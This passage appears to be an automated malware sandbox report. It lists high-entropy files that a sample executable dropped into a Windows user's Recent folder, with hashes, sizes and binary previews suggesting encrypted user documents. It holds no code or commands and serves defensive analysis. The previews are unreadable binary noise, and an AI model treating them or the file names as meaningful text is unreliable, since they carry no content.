SSDEEP:	24:t6y8L4Zi6YUDtRrtkGsrV1uw9IFSeYVxadl2SZNBVSW7png+upWq+JzT3oesbD:f8L40OZUdFeYV0v3Bdpng+uUq2kemD
MD5:	BE3E5677881DA9DAAF396ED87CE31C62
SHA1:	BA9583D510B617D2B2932366DB42C092B18E9DDA
SHA-256:	8F0D7FA842C351F4CA38DE68A366B414294F4D28E0C000F060677E12A1A1465B
SHA-512:	72BE79A506A7F5BE93D3E38EC9C7DA202FDF7EFFAEC960CD700D580CDD1DE98AB52E75606A1DC052C3E21FF2C70DD2FC7FDD9BD9445C5B9BE00157CC6CCF66E0
Malicious:	false
Preview:	KATAX.....a.q.......nM.@..Tp.R..VpK..o.I?.M...bQ.xG......2.E..#.....q....a'A.b.".&f....0...^.....[f.e....AV......y.F.0......{.q.. ..r..........._e..;........i..W.[.1....t....K.I...Q$.4.K..`...8f_V"..';....i..X,.=.(......)'mf{...o~..'....n..P.e.!.?T[.f.8.J6l......Q.6].W'.7<Y..ph..`.....t..z2...<.G..6\....X..J5%u>-....?'.$4....ji...9..<!.:.xC....3;+.t...]..C..wwd,o.-g.{S..&.gP....)...I6g..=.0Y.zP..A..m..g..{B{=..T...i..-R1!.(.E.......7..[.q(w.t.r..M@.-.!@..Y...W....G(k.=.c.3......<.kA...l....&.3~.A$..L..tQ.9..:.fF.7..8..V.j...-.m.......=...]..wA...H..hQ....Naj...\.......U....oL.d.'O..=K....n%;&.M]...\...M.Pu...a....6.&.t...t.U.W.9.k.+'7@.b.7.$\|~..9..4%.S..:....`.}v ..0...:.}.......zR..v......,..9U...:..,.3.u.)..n...@[.'.....^;3@..D/.......B .<...n/..>cc..&.c....WA.9.........I...;I.b\|....9.k#fr:.1....\#....Mzz5;.o..s...*..P....G.f\|#.......y.G:.J...C.F.a..Igi.u@...."..Y_.u....W.+U....T:..KVz159RC!....../.......5+.s../..K a2.9...g>.....o.Z.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86722818954641
Encrypted:	false
SSDEEP:	24:092i7ieFxu8VP5+qwTYbKyR3SgopTjysohDE9ss2RPGdc72Eg3DwedF6bD:Pi7TVcqsydnuTjysolE9sfRPIKDedF4D
MD5:	D7D56EAA96420BC925D5752C9A62D306
SHA1:	007B82DFB151AE3B21E548AE949C952E71FD2A54
SHA-256:	D31BBA5C3350767FC13AC18A7782C7858B610360223BADD51D98D4497EF13965
SHA-512:	EC974EC24FB66AE436544A964EFBE5353AA0A6C187E87B605AF2BC798C79F2450E7904AA3106BD1800C985E72CA938B2288F9A67260AC91939FB7F7247C8499F
Malicious:	false
Preview:	KATAX.........O..^.}.7..?........Q.t#k......$.6`R.y.,I.)..>k.....j.........L...E....Kw....;........<......&...D......1..:.M`.{{Vs.b....z.pJ......I..`.I..Gh.DQ.E.T..O..B..M...Y.......?.b..6.....?.[i...\..U.Ci...[c..X!3....'...'...8.U......_....-76A.......VxuI?...nQ....T)..m-..L_....(.g..,7.T...D....M.......)..D...........i.....Vyr..j..`.C.E.+.\n..Q..(..\A....}...J..2..5Y.Hg,...s......rg>..=0V.......\|1..9F.....V.pv..2JQ.......{..\|!.N._....Pw~....<...x.F...v.....+.@$.ma.....D^.%B).......V....U.g.r.m....5...Y.[.p..G:..."..\|.._"..{=W. ._...7..~..P.X.P.l8...A\|6OV...lQj....._......@.Ev..r./P.>..m;.:W..=..&..a.t.. ....dun.M.Y...T..V..8.I.....IG..&...8....7.P.[.R.z)}.]...H........E=.J.@l7A.H]. .?.+$............h.3.n.$...g....[......].....I.S.....\#..&~.7....v.!>.Z=...j....@."N..6C.9.V..b`...4C..nR+.B.^J.....2..0.g.:p....7......=.q....Q<..z...9.g.....C..^..$......r..qh...c....}..a...).:......m.do..uCX4e#.3.x.H.:...tP2.0.O.........1......?.D.\|.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LHEPQPGEWF.jpg

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860055005197851
Encrypted:	false
SSDEEP:	24:9ZzbpJf1OCg1MCSgcosK/Fcu2+dFRoByWrWixLB1x15pYPQfUM/mz9ga84lyCDbD:9xHgqgcW/F4AFaBy615qYfUMYma8eyMD
MD5:	FD606C100044B7AE09EF0747CD02D2D8
SHA1:	BE5F7BF3537F2EA42EFF4F6B6930327DDFEE6FA7
SHA-256:	0C894DE2F1E6CC373842273D2796F923485D369BCF713E91AE98147328365693
SHA-512:	2A5049CF385D7FC1953F570E00720BC0FFE129C0A1D18C6212A78356D1E953CABF08A535AA044E0CC31BCEF2AEB0C9AB9364CB76D4D36AB9E5D378EBB932F8ED
Malicious:	false
Preview:	LHEPQ..aC9..\..,......k..z._.]....I..J..i...J.So.J..n9./...s.T9.Nv.....=E.M.G..Q..6.Q.[y.9c/._..%fey.M.%.....T... .'^..SI....y...c.N.#,.&.....W\......}.Xhw....vNl...l.'v%..lN3...<(N..(......./."....o}.RH.".1U_:.?C.....@-.=.f.....l/6&#Qm....AKQ..f-l.R1wH9..P...........jw...p..0i^.c.`...Q.....s.8.,. k..A.."3s..+7.X.. r.../..E.#.5......P...k.;..6z.. ....<..s.....(.....N......Mot.LH.%....W>.t(.j^.&..C-.P.......k#......9.`...t...9.......p.Zm..@...F<.......... V\|..T....\|;..z.j.L..ab.".Tx^..w..x...1....V8......B....3.i..K.. SNjh.y...a.O3h......L.w.........m.v".F...+.yG.]...2..."y...#....^.1.@..f.U.bYyS...<.t).Lo.uT.a...}.\g.=..I....Gt1....W.6....[..."...V..... .U....(..2.=...G>..#.......!V.....q..By&........Xp...+..]........~........#\|t..L..n.z(...R7..u.x.....ig..F...>z-........^._.@..c...+'.5...u.b=..t..q..sa`...V.9R......r..C.h"..S....G..}i...Yu..;N.?........uq..;.....-..p.B.Yk1.....HWc..d.#...7dC..W.\.'mj$....$.7"^*.P..H.v.b.6Y/

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.docx

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835979684509719
Encrypted:	false
SSDEEP:	24:+rotf6zaZKVUZ4dNxZxdX1BidLam1ZuswGjV2QSbz1zK2+ddKLrU8G3x3DHKtMDX:GDUZ4dNxZXkLamdjV2Q9aGB3DHyaD
MD5:	6BC4E8F7CB5FCA08A926D2C763B138AA
SHA1:	B712D3E72062434D7A46942A006EBE898CFF8E1B
SHA-256:	8D722EECE98DE8A5F359BCA52868D584232DC5D1ED1EF4CCA7DCEB6B9C04F2EF
SHA-512:	6B32C5D5E0A9D1220E6550E42FC75D17C7360123125B10A5EC254B525CCC5B6B0C9F98BC93B17925DB400D4D78E5349703D4AC72FF3F555BF08D4B9E2931D65D
Malicious:	false
Preview:	LTKMY.z....-h.^M.....&..J.sLjr Z..17g.......:..ZW.s.).A..g."x.K.)].X...t......0...P.+m..%.tG...-..L..v(Z.l....u6.../.@.k....`.p.S..Na....k......b.n..D..$..<.(..bC.U.......\.h...........0(.c./.(.?.%~....L8.l:no_....%.....p.,L..M...6-<....=X...%...<...O.P....0mX.AZ...j.......X.<O.1..w.{......om.fsX...).r.Vg..e....Z.u.% O.^..a......b...%L.....Y...Q.>....!A.C.S..?.1....._W.BB...-.Z.nP......).P..g..U.9dn.I.....+.c?...6.............h..5b ...#b...a#\.~)(L3y..SIM..j.F...~X.r.A....l._.........a...4k..?.4........e,....t<.!vw.A.O..."...`o...U.'..~n.U..:PX...H...=m..n>9...h.:~.U`:.A.B.Z..7.z....u4B.~.....A;.....E.H.x.W].4_...Xa..>7...}i...M..[.MXE. .\|.....n...Z..f.....jc!F....o.....^.\.xbN.@[1......I...0.T@..H..wL.c..l.....Z...3......>.m..#..z...c.3..]...E_....!..1.Y.Zi..r...?......~.&...S.p..0..h......9g.n...u%........-.s.....=...J.E.L..5....ld..r.h`.E g.3..ih..:.Q...?..g.!7l.`.*.w;.k..E.X..~=.QU..,.jY/M.YM...3\|..-......y..G..g.m....?..&..].d.U.a..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8257250922697965
Encrypted:	false
SSDEEP:	24:Br3kz80stvI2fakEF0Sum1FvukYMghC6hwLSP6w4tGC7Gmke3AznZsEv1NoQiMot:Br0zYQe6F0SuQRukYDcDWSHtGCSzewz4
MD5:	E1D4B3103746006862E173E5219F4825
SHA1:	A297426F4913E8D8D84B180DAB66EE22F8EDCBA3
SHA-256:	DF055E3E415977973D3DB17BE0999371249145A0757A2E04FDB8FCA656E472DE
SHA-512:	711D6CC8E4272B98C96C3A68A3D6C40063C200AB9B66D7A07FF4EC45981ED4562A2C3ECA7AC7A4914B6E4F7A46601B84E2E4C03B0F710005EDFFC6736A85BA3C
Malicious:	false
Preview:	LTKMY..=.....;;.w1`.#..[....U..)....}...&.7.....}^......B..F..%......;.GWYk.........h.p..I..y......sjc.......j7.+.].].;<7&.~qk..D...?]:...6.....%.m..J..O....)Wyd.H..j=....2{..0......8h.q....iA!d.>...l.\|.....a...{........?I."J).g...fm.E.2.......s.\s.I.va.IA..1UO.$[.?g.[..m._Lg.....l..j.K..uo..E..l.._..L3.n i$..Y2.g........\|".H.\..gxe-\|..w.....m.6..5...)z)..#....A\..N(.z..{..W...L3BG....(.......E..r.j...J.+.&.V9.).....i..C..X..h..;..\|..^..C.....$;.......8&C..n..0.u.HTYdh.bc....lJ...B....v.._.....s.]P..B....w.6...u...X.7....8D..r^.m.w.....m....7:~u.*..6..P...G...c._.+..P..s...l.6..m.....E.,.."...aZ.._..).X+.I'. Y...""p..J}...Q.,.......D.6...........i.i:>r}...A...=...y5...$.......}.>+..S.E......1\|.?q.c.v.[...v....}..Iu.l.a.h.U$d....7.riA.S.lm.. ..}....0I..0.1.k1....j..V.s..c.......O..t...=.......givh.....,..hU.....`.v....Z.Q..dz....Fd.Y.Y0...r........S...=..e..k.p.Z...}.g.Bi..=..ZSB]4.......-...y.......Y.%/.k..Dp.33.........)....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833229520045924
Encrypted:	false
SSDEEP:	24:Qh0gjr84tbqvX84KlcHAaUBOqcOF6znJk5Lw37kyA7xvbD:cdBmZUwPOFZ5ikr7xzD
MD5:	739C5F3F4D9126C2C0DAE0E779F62CFF
SHA1:	00ADD91F15DC0D7067E5145CE490698DC43A20A9
SHA-256:	BD65612086199990CC49801DE7C065112EFD9E23B172EB282A3745B434A4B765
SHA-512:	FCA3282A73CDD9508AD4DA5563AEA2AEDF577B77A72A10EEC1989929815CCEF4421E4CBAD74A1EA9DCBF928B7B0E04B145EF22373DE46FDA2D171683BF11CAB0
Malicious:	false
Preview:	NWTVC3Lu...j..AK.%.7..(......BX.Q.JK.S..C;.?.;..539.....}nB...C...M.,"k.7...~..V.7.P.:\|..0..y....3..C....S.Q........de......r...},y.....7.......[<.'..[.P.Cz..U.S...[..5.t.S .{..ez....w.dL.Y......%.#.in.I..D}.....x'#u.....i........3.....?.[..w.J_.}.e.v..v.D...JZ..P.[.H9.{PC.......0hf....6..E...(.....<o.'.._.....cz...c._@..?..6-8d.#.o.r.4..[.G...=..k..$.......D.x..............4........p5Z...?...."..Cb....I-.e...,.t..."g. ...;B7.8.-.g.c.(...glk. .Q.:..w.4......Lxm...%.04......\..M..[ .;:......4....w.w.w..W./.9..G.7....Cb......>$^^.'/..d.,\|!T..).{..!->I......t....x.....H`...e...j.p..a......N...Mr..&...yJ...w.m..8...k(...y."`..1..7...Zy3E.\0. .].%..R.1'8.l.Y..?..p~... ...mE...tu<1.d..9..0..Gz........%..h...j.....g..6..\|.....)..X&G..8...b..6V.S.}.(.......`.A..G..\....... ....r.~.t....j.V.3.Ja...tN....W.i`k.ee............~.o.........m.T.:V ....?\|a...C..l....U.}.!..a4..iq.&f.v..%x.k.....q......:).D.*.6b......K.s.............<...!7..V.<.IB6

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841741812266318
Encrypted:	false
SSDEEP:	24:vwBE5dkNbZgjxaE2XWuCZHitCUstCOmYycEJjjNjCJ62Mo6QSzH7HbD:vP5cZgQE2XWuCZHiMtCOWJjZS/QXzb7D
MD5:	B0A7DE3AED05EC6BA1E8713DAF058B8F
SHA1:	673402D8F69A8648CB311E4E77E98139C517B9CA
SHA-256:	12559588D7186A61CADBF1A4660C02F46FE1CCB2E695B330E12104366C025B0C
SHA-512:	ED04C2FACD0C8DC56F5F6475F757A127DA5E42E2BC15701CF07463EBCBBDD94C0C8806FFF5B70FB9B9673BA978BA9A8062CC9E6B8AD7552295F9E8A6EC3C9F12
Malicious:	false
Preview:	ONBQC.....QK.F`.....\|.U%....B..%l.@J.....u.{..S.....?.1..jm.H.nm.:.Z..o..;.g....O..(..[.%.....q...._.<...;Y..5.U...5B..w~....-.....h,].q@.GF.8k.Ae.%...L..Py.r(M..N.d...G.r-].%r..(......x,...r.0....hk.D..@..7M-..L.....}...{...#.Y.i....j.c....+.....w.<y.......8...]..J.]....`..b.....[..z..Q.......X9.Am.....r0T......!.tL6m.?.y`6."\|..D...T.;.V....l.SN..-.z....7P.O..s..G:..D..B.s8.DH,q..-...d.5....I...>L &.=.Z....b......iO..M......D......1U.R....Ht~..NcQ..1f..L-.......4...PY..Y?.B.tY. i.]q.N.D.5D....e.nu....JE.... D.....u...'H..Z........&{.\i.}.L.\|....hq.3...../.}.p.N..(.p..Z....J.(....-D..F+.....cf..f..S.9,Sc4.WZo.t.R@`.....Ga$.6...t..n....3.}..E..o....U....g^..R`......B..o.{...}...WZ..V.S...cD._.v.N....;.od...h..2.d[m..R......@\.Y...zrka../....WL..#_.v9\.X!C....B..........)...S.0..@........$........h..*,J.h..%...."~..........C.......k..p.o.6..f...f.r...rsV.^.....=.i..J.O..h...,>......:i3...k..G~..E...z..34t...Ka%Kc.(...V6...1..?<..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842213163635249
Encrypted:	false
SSDEEP:	24:A3UD+m/vQB5ML2qLsuc6H6HxjmSR1l982YhC1w5OL9Mc7KAEfO7HVYNl8SsbD:iSuMLLsUEZjR1l9O+4O9KAEfO67DmD
MD5:	0AC13B97B355EBF6C42E55DF42484ACD
SHA1:	4D6DE0AEB383E07F83025E5413224198E6FC745F
SHA-256:	675D5EB940FBC8ED76A1700005CFF5877FB86527A2A435CCA03DE1BF04B9B3EB
SHA-512:	856D7B5F377F4D9C4607AED6B7379553E80F6E5D87D5DB5200044002BA08E86A41FD28A1A5695A97D7C73384B6D68B8C21384C89B75D977D47AB265FE965A19C
Malicious:	false
Preview:	ONBQC.6R./.+...p..&..Eg.@..^E.u..~...:.}.n..j...l..1zI...l...L..<.}....h..B...X.0...[%B..n..2.i...y"3.i..C...)......]x......v...^M(.Q..b] !.s..ooP.................4..F.<..e=..z....tn^u..f6...>>..%....t..y.D..Wu..h0R=.....IyKr#..[pN..;s...d[..&3],O.......-.....!.$...R..SJ......4.:...8M..w^....83\|!h..'....!Q.~.y#8}.7%l.S.5......L{o....z.\|..A.P...E.../..k.=....[]9...).c.0.u7k...z%.L.C3..j...l......,..:....m..,D2+.e..\|.q..k.X.....=D.....;....X"Q_.E.'...E:._..&2.XwVI.IC.....+..k`F..P.....oYoq.2$G...C.....T.C..\|..lA....o...6El......-.....d..I.a.....-<0s...2.JqXB......rt../...f$..wo.[.3.G...r..)...j.:.. ...mV.vA..2..]mN'...f.....".;.9v...\M.^.1.Vb.....Y....T...3O.U%A..t.w\.......7.2...t:.b..X......0..j.L..P.U..u.....9.u4....?...D....Dg..j[.._.........#:>...@6.o89...)..z.*.B..S...f.~...Z.s.}e......B'O....a..'.3QZ._M#.......5]...'.(....W.j..9..^......yR.g..A.NH.x.........-^BF1c2\...1....'.....3B..z...n..F.2F.h....Dw...p..g.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854352103333667
Encrypted:	false
SSDEEP:	24:Dnl1kLkN+82OF8fYlrjgzOoKL5ZtQKq8fGt2oak7bvdRM+r0JsbD:Dl1kLA+8p8fYtgzc5o58Hq5wmD
MD5:	4583890E0BE2A47659C3235C7C2A45F3
SHA1:	FCE29DFFF318209C2F0521CEF80C2874C9834115
SHA-256:	BCF84312B616B18AD2A499407C6763804352EF5E6723D4DE5A91444758BE7D00
SHA-512:	3DDF452B95B0704F55A0F80F3BCEBE50EA8ACBBDA8D5C84E9CAD180F19FD28B81325CABDE8F53400F80BBF043E06F1BE8331DF2D775839450CDD0FB58250BFE6
Malicious:	false
Preview:	PALRG&..#.J.....[.u..F(}.oC...}jV.-...&.W....t_....]...FQ8....E..8.."x.5.1i..v#......sK.......zc..I..e...Y..g.....$9A.v.......bQ.i.uV% g=.1.$.Bj.X"4......?2x.t.w...7.&"...5.Am.h.>.D..hW.=./..G..,k.1.....&u..J.....}.......u1s..(..[.5....;.UC.q...E...l.X..jT.Y.>m..[do7..rT..am......7 P.$....i4k.^S...}.yT3.%!.BTDzj.R....J...\E...M;.k$m.......d...MIW..op...`..';.....n...-..S..%..+y.N.g#H.../..Y\a.....N.f<.J.$..7..W].._.x...\......W..R..c@~....g5!.I)..\......d?K...k.8....o...Y..............Q5...]}.s..`.....'.O....Tc.e2.F..J,;.L.O/pO.^.@2q..b..\|Y?.`..2.:.!]-.:Q.....\...i.....c5../.7.e..y].$..3..<..o......\..a..&..<.a9.C...9......;#..}...a....$v..<4..P......m...]....oSb........A8.F....r_..R..M..g(...........Wg.;.di......P.r..R..Q.........!3...(.Y%.s1..c(.dn.=..B.d...\..hx.L.31.Tt.....O..IRr..:.Zl.....G..#.D....1.y.FD.7.!~s..<..}.L/..}.......R...Z.n..>r.-.c..^...k....y.&..4...g^....zh.)8......D..z.j.q.... ...4&..Vb..~.$D.c0/#.E]...V..W6..<.p.\D

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RAYHIWGKDI.docx

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8603698871726
Encrypted:	false
SSDEEP:	24:eS6YglfwYhP1HcufuNMQyo/iTMOPVVTlHdRusRdvoaaSjWi+SRDZ/vkbD:eS6Zw4P6kuNMRnRr5dRNRdgu+SxNvuD
MD5:	3715B9477F1D52297AC04D1BA20DC236
SHA1:	5A828919252D17070571AB906E2778BFB38E3F36
SHA-256:	F64FE86334A77245717A70782AAFAE1F36099E03A9440A61FBAEE8A2279E9ED9
SHA-512:	6C54813FE7A6B1ADE24F673070978E35C2ABF0032E02FDCF445E3B08E7B72DF71E5743FC5AF01CE0955733D2B6FF1A930F22E3AE8AC61BD1134BD6F37B365575
Malicious:	false
Preview:	RAYHIH..q...V...gl.Z.,l.X.CV#....c...p0b.x@b&....2..Xj......Rz..tn.....=.:J4.+../?...M.`..(...:.qc...n..N\|o:...F..Rb7...g...6......@..l....3.......4`\|E0..4...L.......q=.\.P...<..,t..8F.(%.8d..UZ.IK.4..U..8....B...m..&'.Y.J.....+r.P..RM...b...a%..@....L..M..=3-b>.X[..4....u..u...}:Z.........#-.......s.D...#.9L\..Z.q....A...U.Q^ ..S..oYN..7C:P.F.Y..GZ...mC.I,.+J.....\|.."...UvM.\.L5.Q.....n....3ve"{.p.E..jD.I ..?4F<.....Q.V"n.........L\|....u.C.xUq.k.<6.9.U.oe.M.R...j..@.2.\|.1...G........qk..QO..,...!k....@j3z.w....N.a...Q7C...c,..nA.^+.Am.....A....._$rQ.T.......k..7..:U\|0\.H...-U....2..!;...S...P....y]1.,+2.......C....(..^..}!.....@..].<......V..~.-X.0....G.?.2..{..;..U...M......KH..H.....QW:...)E..[.+.2cYS2..[r92......}{.V..B..^.......h:O..z......d..`NX:ts.$.Y;.M......R>..`...R.Y.......V...o.@$.....p-....Q.4..d...5.m{.3...J.aa.hiK....J..o..x.9...}Q.....}..#..m....gX.c_...+..l..>..S.f...f.gN$[..W./.............Q.6.sC.N..>.>.c..Gaj:..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RAYHIWGKDI.mp3

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85294442938545
Encrypted:	false
SSDEEP:	24:bsP6ThE405MjAJ4Ot76DrV+YoXE/olymm4ftlP36Awi12xIuc3bD:bsP66raOt0xnoXNzHf7PKQeCLD
MD5:	2CF7D1F3670E55B090F8B64801006252
SHA1:	0D84613C151DB373051BC59D1727AFE85D4634D0
SHA-256:	0CEAC6AAE80D4D01A2C8FA16E246DF4D7015C5670E37E3162F3119BE23F70B0B
SHA-512:	8BC9E0ABC0C08905FFA009D9DF962ED85AE10067C7B6BF6297CA62E3DB5AB67A5A8843B8DA421B6E7F9B3C27BF53470D398AB159CFAAABAE0B42DC5380D89E0A
Malicious:	false
Preview:	RAYHI..."../.2?.....4.!.{..X~.v.....l.`.6.\.7.!..j..&...e..K....!........Fb73.A.".........\..:.YU.DB...!..*L.../...T...K....\|...5.X.....B..Zo.g......R........1\..t..>._...[..D.1.(.X#<......Q3.....B...2.W7.3PR.....o..+SM0{.'A..i(]\..i..DP.r....8%.k:.3t..?b..}...s....[.\...ZVUg.n..9a..eSQf{?..........{.E.~."....'.L....A.C....)._..E....F....7.\..sl$.......Y......-....vGD.0r.c.^...g.Svjm./)P..l..`...!X.8..W$../&.^.g...AL?.@...X.....a c....C...Dz........G".D..>.....j..<&\...V..&........Xs}2.]%..swV...B8<Ea.M.Q..~...{n-...d.....J....s.=x.d-;]z..0.....;..So.'..!...B......\..m..-b-\f%...`>f>........h}.!..K..<.b..,..Z...S&Y....AVY=.......A3........m-.+m....}..rA.....g.LB.:..e...T......),6.X...\|.n...'..2M.=.M..-?..4.P!Z.x..x<..e.:=30.8..tA.....GV......F........ \|.~fC.a.Z.....%..@...1..@.LS.K\u..B......W....^......'.Q.o.A ]i.m6b45....r.'.e......<.y.%....\|ST: .....r...U....E.W.ku...r.......g(.....R.eV.kMx.Q..pj....^N.9...`....#..Cn.RF&X[....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RAYHIWGKDI.xlsx

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862812469515471
Encrypted:	false
SSDEEP:	24:JvLohy+kHGNhCcrIIf9jgMaciqNa+eMA8IUnuvUPjViAp2OQTebD:6hzkHGTCtM9jgMRibP09b7V/5QwD
MD5:	BDA72D9FFA9B2680613FB59EF6163D24
SHA1:	D98EFFD827A1E2C1B430C74CC0DEB202FE22FB2D
SHA-256:	69C7794F839396E22F4AAB0D82E44FF1801F30324E589284AD4037364FC6889C
SHA-512:	2CEFD95E7D0AE3DDA128E89F3386573D831B0BCCE8CD0265EEBE11A82542F359FAB1AD72FB662DCCB46EB4FC5ACF0EA2C6FD3494E30454F311BEBA3D84C7691B
Malicious:	false
Preview:	RAYHI.<....c..j.X)...F..Hmd..{..6t.."....G..=l...){....;.1.p.I...r.().b;...).gn.}C!....l...\|..d..#Mln.6...M.S.V.&....wy.....8..2.Oh..Zd ~;..jH.......Y.`F..k_.v-......t..[.W.........Q.H....I.R.{......V.k.....S..@G..V=\|..Kk.5.4.....h....d#.J4..7..(.J...h.)..."@..7.{..Fj...?..y...lNB...n..ft.$!O.v\|"N...i+..s..Y/....S...Z..~..E..}l.n.]&.~...O.&.d....kl..T.i.~ol.6..1.I......r..V.4....."..!M..t..,.l......bl....x......0..H.....i..N,@<.....5..v.R&\|........^B..hs;..4(.$.5.y....!ZH...\|.W......5d.....q..+M...F'.$.....hM....8.1..=dh!..M...`U...$%v..4.#..N0A-.".\|.....g@.vi(...{.c.z.=.b... ../$..4.2aN.q.:......[l.d4.y...M5.K....U.....l.....#%.4...W..F.mv......&;..>LGn..z.r.q.=..._.W......l.;...'.....~.w81...E.......<.@.......q..c..../....m+...Gc.........S.;..I._..RPS........"...gK..!..A.......!.MZ.?e..:^...5.K....n_.6\|J(...&7...?./.KF.i.......M].......r9:...l..H.D;..;..^._qp.s..B.....9!.t.E.R.....4.&.E.` Zs.20l..........m^.dn..v..^4.&.Fm..f...2=E!..EW.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865730463268054
Encrypted:	false
SSDEEP:	24:aDRlnDPFChOle/Xwzwv2vQLW8kHY0eCygVqyloC3KEjvNI/218iFvVH59bD:MRtzFCoMfwkv2vQLW8MYxCTwENC21rvD
MD5:	9E6D4F57A6F3638429CD93E8B686977C
SHA1:	216DFC826EA41025CA1317901698DE841DD28766
SHA-256:	D1DC0CA73A5B79E10F496747174B8E9B715B327EA1CC5BEE9C07CEE0B78EBF67
SHA-512:	67D7427984BCDE4E88F02FF716471776E30E48D5838F9902137EB96DEF4A401DA9ED1049AFBFA824471C0A31C0D2AB855544E58EBF398E5A2694909852E9BC12
Malicious:	false
Preview:	SFPUS.{x0.....R.....].0.].....pHC.......9.U..&.)8&.J....{..m(........$.^g...7K}M..=Z...R4>..)......"\.y.R..........K........Gi..:....:.B7.;..!C.?..._..0.r..JL..Q8...P.=pi.pf.4.1..]..5.H.jJ.m.....7.;N..&h........Isv..$i[,P_\|8.7....e\|.....k.z.,YU\..+.G.G.i...'.....)}5...i.....6.+...(+k..N6..N].5....$\|j.&.g..`...j.H....C..)(L..m..0...........W.d..rZ...F..(hQ...=...k_../P.{#..bEBk.&...T...!Z."....T.F.6!..I7_{.......f..h....o'2n..."....Q......~+....S.9g.V.5g.\.^..X.Rx.5.n2..Wh..<._..-.........O0=...r...JX.-.i...m.#Ew)}.5....W...Hm..M....,?t.{....=.{.....@...i}.:4.&.U...FS...]*.k0.a.H...............T........i4C..q\.Y....\|..f......m+5;.w.....0.....R-...H[.s6..z_..$.`3.BA.RL"..R._...4..%g}&y.al.<..#.y%.9^3....dM.$.....z.....8...[e...Hh`.....r.%,.P/..4.+w...8.Z`...;P...^1..<..7O;..=.....1.~$.x.......z."1..G.:F0.Vk..KC...(.\........B1.........<.?.......H....lm.W..ZR=....(g.^...&dO.)!..\|.Ep...B.-...\|...Y..=\@C.U...bv..p@..{5.......m?H......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.pdf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862290389308565
Encrypted:	false
SSDEEP:	24:VU35WgHn0GayiA1LkRPAyuR6oUBoawAoYRv1+m3kpFreqWWOm0UbD:upW9GaynYVPBqAoYR+Pqq0m0+D
MD5:	616BAC539D8D8EB8A3471CC0F5B68910
SHA1:	CEF3C4D8F63AA961168E832AC93424BB06BFAEE8
SHA-256:	09E44C5925211AAB2A17CC00FA6CB7AA0F22D16E56E81AED3458AA99C5AA3F3A
SHA-512:	94CE7389DFAFC91F4A25431C16AB491E291C4B2B0FB57E364222B1CC75ACAC699F459640871937831F0D8EAAB4265F244B558E18F58672E889B90A15E9786F83
Malicious:	false
Preview:	SFPUSw.\|M[.c.....cFJ..e.2..U/....]...B........^.XB.2.9.......%I..`x.?...,.b3(fI.....i....r.(...B~.,...S.c.X..x...Gm6l.#i.x.'p....+'.C.'.x..h.5.E..oo...m.....`BM{.......t..]'..ihZ\|..7Je`6.._5W\.Z-iV.O....4t...#...G....ErI-...,.......h,.=.\..A$.C.gD.$].r.f...;.+.YM.n.......... ..gq....)y17.h~...]faf.\|.k..T.:bV..J...m.v..k.2...FZ...ncM..Q9..i.$,........h1N.1<'.Qx.x-.?e..l.Q....(GR...n...9..[cI.T@.(..v...y.E.../...&....H..s$Zq.[...g..Q*.=...%.5..e..Zr...a.W.^8.........+I$.(..R..Sg;.}H..........O..Ur.....sd..d.i...........+.r<7l...cJ:u`z..Hj....p.s.u$=.e..i...w.........Q.1...:..}.....5..X.O...h6&_....H.\|..8...+X......>M..]"..(...4!5..\-..[.!...U'O..1(...(..5I.r.%.[BU...C(...H<.....v......$B.R<QW..K.[..~.H.$.\|.....#.....w.....cm^.]........=...uTeI.YT.spZ..q.."nT.<...P..7K.1{...i.\|........I.[.B8....;.....S.n....7.c..0lx......VtJ..YS.....O.Gm....:.R...O..#...0[......H....qZ..j..M..)f.^.8..t..4&.}...k..Kf..K..#h..&.-+....=.6.-l.9j..y.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SUAVTZKNFL.jpg

Download File

